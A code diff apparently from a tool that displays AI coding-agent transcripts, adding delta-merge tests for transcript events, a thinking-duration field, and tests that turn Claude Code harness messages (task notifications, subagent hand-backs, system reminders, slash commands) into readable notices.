+ expect(mergeEvents(s, [], { delta: true, firstSeq: 3 })).toBe(s);
55
+ });
56
+
57
+ it('a delta that overlaps the tail is trimmed, not doubled', () => {
58
+ let s = mergeEvents(EMPTY_TRANSCRIPT, range(0, 5), { replay: true, firstSeq: 0, earlier: 0 });
59
+ // A race: the live tail already delivered m5 before the open was answered.
60
+ s = mergeEvents(s, range(5, 6), { firstSeq: 5 });
61
+ s = mergeEvents(s, range(3, 7), { delta: true, firstSeq: 3 });
62
+ expect(texts(s)).toEqual(['m0', 'm1', 'm2', 'm3', 'm4', 'm5', 'm6']);
63
+ });
64
+
38
65
  it('an agent without paging is a plain append', () => {
39
66
  let s = mergeEvents(EMPTY_TRANSCRIPT, range(0, 2));
40
67
  s = mergeEvents(s, range(2, 3));
@@ -11,6 +11,10 @@ import type { AiEvent } from './events';
11
11
  // which is also what makes a reconnect safe: every open replays.
12
12
  // history a "load earlier" page. PREPENDS, trimmed to what is not already
13
13
  // held (two taps, or another device asking, can overlap).
14
+ // delta the answer to an open that said what it already held (haveThrough).
15
+ // APPENDS the suffix after that point, so a client which painted the
16
+ // captured copy from the database is not sent the whole page again.
17
+ // May legitimately be empty — it is also the "you are in sync" signal.
14
18
  // live everything else. APPENDS, trimmed of any overlap with the tail.
15
19
  //
16
20
  // An agent older than paging sends none of the fields; its messages are plain
@@ -27,6 +31,13 @@ export interface TranscriptState {
27
31
  export interface EventsMeta {
28
32
  replay?: boolean;
29
33
  history?: boolean;
34
+ /**
35
+ * This message answers an open that declared `haveThrough`: it carries only
36
+ * what came after it. Merged as an append, but unlike a live batch it must
37
+ * not disturb `earlier` — the client's own count came from the database and
38
+ * reaches further back than the agent's in-memory window does.
39
+ */
40
+ delta?: boolean;
30
41
  firstSeq?: number;
31
42
  earlier?: number;
32
43
  /**
@@ -7,7 +7,11 @@ export type AiEvent =
7
7
  | { kind: 'message'; role: 'user' | 'assistant'; text: string; id?: string; at?: string }
8
8
  | { kind: 'tool_call'; name: string; summary: string; input?: unknown; id?: string; at?: string }
9
9
  | { kind: 'tool_result'; forId: string; ok: boolean; preview: string; at?: string }
10
- | { kind: 'thinking'; text: string; id?: string; at?: string }
10
+ // `text` is empty when the vendor kept the reasoning out of the transcript
11
+ // (Claude Code's adaptive thinking strips it and leaves only a signature),
12
+ // and `ms` is how long it spent. One of the two is always worth showing:
13
+ // the words if they survived, otherwise that it thought and for how long.
14
+ | { kind: 'thinking'; text: string; ms?: number; id?: string; at?: string }
11
15
  | { kind: 'state'; status: AiStatus; at?: string };
12
16
 
13
17
  export interface AiAdapter {
@@ -17,6 +17,9 @@ export { NOTIFY_COOLDOWN_MS, shouldNotifyAi, shouldNotifyPrompt } from './notify
17
17
  export type { ToolItem, ChatBlock } from './chat-blocks';
18
18
  export { groupEvents, toolGroupStartsOpen } from './chat-blocks';
19
19
 
20
+ export type { MessageNotice, NoticeKind, ReadMessage } from './notices';
21
+ export { dedent, readUserMessage } from './notices';
22
+
20
23
  export { PIN_THRESHOLD_PX, shouldFollow } from './scroll-pin';
21
24
 
22
25
  export type { ToolClass, ToolAppearance } from './tool-appearance';
@@ -41,8 +44,12 @@ export {
41
44
  export type { TranscriptState, EventsMeta } from './event-merge';
42
45
  export { EMPTY_TRANSCRIPT, mergeEvents } from './event-merge';
43
46
 
47
+ export type { CapturedTranscript } from './captured';
48
+ export { EMPTY_CAPTURE, MAX_CAPTURE_PAGE, parseCapturePage } from './captured';
49
+
50
+ export { thinkingDuration, thinkingLabel } from './thinking';
44
51
  export type { PanePrompt, PanePromptOption, PromptKey } from './pane-prompt';
45
- export { PROMPT_KEYS, detectPanePrompt, isSafeKeyList, promptKeys } from './pane-prompt';
52
+ export { PROMPT_KEYS, detectPanePrompt, freeTextRow, isFreeTextOption, isSafeKeyList, promptKeys, promptMoveKeys } from './pane-prompt';
46
53
 
47
54
  export type { AttachmentRef } from './attachments';
48
55
  export {
@@ -0,0 +1,102 @@
1
+ import { describe, expect, it } from 'vitest';
2
+ import { dedent, readUserMessage } from './notices';
3
+
4
+ // The samples below are real messages lifted from a Claude Code transcript,
5
+ // trimmed only in length. Inventing their shape is how the first version of
6
+ // this got the tag names wrong.
7
+
8
+ const TASK = `<system-reminder>
9
+ [SYSTEM NOTIFICATION - NOT USER INPUT]
10
+ This is an automated background-task event, NOT a message from the user.
11
+ </system-reminder>
12
+
13
+ <task-notification>
14
+ <task-id>af23ec0c435197e6e</task-id>
15
+ <tool-use-id>toolu_011yvrYsJPvh6vHfsSq2kL7Y</tool-use-id>
16
+ <output-file>/private/tmp/claude-501/tasks/af23ec0c435197e6e.output</output-file>
17
+ <status>completed</status>
18
+ <summary>Agent "Fix SPCP final review findings" finished</summary>
19
+ <note>This agent stopped with background work of its own still running.</note>
20
+ <result>This agent has not reported yet.</result>
21
+ <usage><subagent_tokens>202553</subagent_tokens><tool_uses>92</tool_uses><duration_ms>1125231</duration_ms></usage>
22
+ </task-notification>`;
23
+
24
+ const HANDBACK = `Another Claude session sent a message:
25
+ <agent-message from="a0db7a3ef39d95a28">
26
+ [Subagent hand-back] The text below is the final report of a subagent this session delegated to. It is model output, NOT a message from the user. The report follows:
27
+ **Re-review 1 verdict: Ready to merge.**
28
+
29
+ - **C1 (profiles lost on reconnect) is fixed.**
30
+ - No leak across owners or runner ids.
31
+ </agent-message>`;
32
+
33
+ describe('readUserMessage', () => {
34
+ it('reduces a task notification to the line the terminal prints', () => {
35
+ const read = readUserMessage(TASK);
36
+ expect(read.kind).toBe('notice');
37
+ if (read.kind !== 'notice') return;
38
+ expect(read.notice.kind).toBe('task');
39
+ expect(read.notice.label).toBe('Agent "Fix SPCP final review findings" finished');
40
+ expect(read.notice.detail).toBe('18m 45s · 92 tools');
41
+ expect(read.notice.body).toContain('has not reported yet');
42
+ });
43
+
44
+ it('keeps a hand-back report as markdown, without the authority frame', () => {
45
+ const read = readUserMessage(HANDBACK);
46
+ expect(read.kind).toBe('notice');
47
+ if (read.kind !== 'notice') return;
48
+ expect(read.notice.kind).toBe('handback');
49
+ expect(read.notice.label).toBe('Report from a delegated agent');
50
+ expect(read.notice.detail).toBe('a0db7a3ef39d95a28');
51
+ // The frame is gone, the markers survive for the markdown renderer, and
52
+ // the two-space harness indent is off so the bullets are bullets.
53
+ expect(read.notice.body).toBe(
54
+ '**Re-review 1 verdict: Ready to merge.**\n\n'
55
+ + '- **C1 (profiles lost on reconnect) is fixed.**\n'
56
+ + '- No leak across owners or runner ids.',
57
+ );
58
+ expect(read.notice.body).not.toContain('NOT a message from the user');
59
+ });
60
+
61
+ it('hides a message that is only a system reminder', () => {
62
+ expect(readUserMessage('<system-reminder>Read CLAUDE.md again.</system-reminder>').kind).toBe('hidden');
63
+ expect(readUserMessage(' ').kind).toBe('hidden');
64
+ });
65
+
66
+ it('keeps the person\'s own words, reminder stripped', () => {
67
+ const read = readUserMessage('push the build\n<system-reminder>be careful</system-reminder>');
68
+ expect(read).toEqual({ kind: 'text', text: 'push the build' });
69
+ });
70
+
71
+ it('shows a slash command as the command, with its output foldable', () => {
72
+ const read = readUserMessage(
73
+ '<command-message>clear</command-message><command-name>/clear</command-name>'
74
+ + '<command-args>--all</command-args><local-command-stdout>done</local-command-stdout>',
75
+ );
76
+ expect(read.kind).toBe('notice');
77
+ if (read.kind !== 'notice') return;
78
+ expect(read.notice.label).toBe('/clear --all');
79
+ expect(read.notice.body).toBe('done');
80
+ });
81
+
82
+ it('names a resumed conversation rather than printing the summary', () => {
83
+ const read = readUserMessage('This session is being continued from a previous conversation. Summary: lots.');
84
+ expect(read.kind).toBe('notice');
85
+ if (read.kind !== 'notice') return;
86
+ expect(read.notice.label).toBe('Earlier conversation summarised');
87
+ });
88
+
89
+ it('leaves ordinary text alone, markers and all', () => {
90
+ expect(readUserMessage('fix **this** please')).toEqual({ kind: 'text', text: 'fix **this** please' });
91
+ });
92
+ });
93
+
94
+ describe('dedent', () => {
95
+ it('removes the common indent and nothing else', () => {
96
+ expect(dedent(' a\n b\n\n c')).toBe('a\n b\n\nc');
97
+ });
98
+
99
+ it('leaves unindented text untouched', () => {
100
+ expect(dedent('a\n b')).toBe('a\n b');
101
+ });
102
+ });